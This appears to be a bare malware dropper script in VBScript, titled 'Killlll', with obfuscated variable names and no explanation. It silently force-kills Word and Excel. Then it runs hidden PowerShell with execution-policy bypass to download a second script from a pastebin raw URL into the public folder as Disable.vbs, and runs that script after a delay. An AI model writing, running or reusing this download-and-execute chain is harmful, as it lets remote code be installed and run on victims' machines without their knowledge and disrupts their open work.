Killlll

Set X7W832DSA = CreateObject("WScript.Shell")
Dim ASSd712ji8asd
ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%\"" & taskkill /f /im winword.exe & taskkill /f /im excel.exe & exit"
X7W832DSA.Run ASSd712ji8asd, vbHide


CreateObject("WScript.Shell").Run "cmd.exe /c ping 127.0.0.1 -n 10 > nul & PowerShell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object Net.WebClient).DownloadFile('https://pastebin.com/raw/7tj8U8UM','%Public%\Disable.vbs')", 0
CreateObject("WScript.Shell").Run "cmd.exe /c ping 127.0.0.1 -n 20 > nul & start C:\Users\Public\Disable.vbs", 0